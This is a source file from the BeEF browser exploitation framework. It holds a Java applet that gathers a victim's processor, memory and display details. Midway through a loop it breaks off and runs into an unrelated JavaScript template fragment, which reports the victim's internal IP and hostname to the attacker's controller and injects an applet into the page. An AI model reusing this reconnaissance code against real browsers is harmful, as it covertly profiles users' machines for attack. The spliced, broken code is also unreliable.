/* * Copyright (c) 2006-2024Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - https://beefproject.com * See the file 'doc/COPYING' for copying permission */ import java.applet.*; import java.awt.*; import java.net.*; import java.util.*; public class getSystemInfo extends Applet { public getSystemInfo() { super(); return; } public static String getInfo() { String result = ""; // -- Processor -- // try { // System.out.println("Available processors (cores): "+Integer.toString(Runtime.getRuntime().availableProcessors())); result += "Available processors (cores): "+Integer.toString(Runtime.getRuntime().availableProcessors())+"\n"; } catch (Exception exception) { //result += "Exception while gathering processor info: "+exception; result += "Exception while gathering processor info\n"; } // -- Memory -- // try { long maximumMemory = Runtime.getRuntime().maxMemory(); // System.out.println("Maximum memory (bytes): " + (maximumMemory == Long.MAX_VALUE ? "No maximum" : maximumMemory)); result += "Maximum memory (bytes): " + (maximumMemory == Long.MAX_VALUE ? "No maximum" : maximumMemory)+"\n"; // System.out.println("Free memory (bytes): " + Runtime.getRuntime().freeMemory()); result += "Free memory (bytes): " + Runtime.getRuntime().freeMemory()+"\n"; // System.out.println("Total memory (bytes): " + Runtime.getRuntime().totalMemory()); result += "Total memory (bytes): " + Runtime.getRuntime().totalMemory()+"\n"; } catch (Exception exception) { //result += "Exception while gathering memory info: "+exception; result += "Exception while gathering memory info\n"; } // -- Displays -- // try { GraphicsEnvironment ge = GraphicsEnvironment.getLocalGraphicsEnvironment(); // System.out.println("Default Screen: "+ge.getDefaultScreenDevice().getIDstring()); result += "Default Screen: "+ge.getDefaultScreenDevice().getIDstring()+"\n"; GraphicsDevice[] gs = ge.getScreenDevices(); for (int i=0; i', <%= @command_id %>, 'internal_ip='+internal_ip+'&internal_hostname='+internal_hostname); } } else { //Trying to insert the Beeffeine applet content = ""; $j('body').append(content); internal_counter = 0; //We have to kick off a loop now, because the user has to accept the running of the applet perhaps */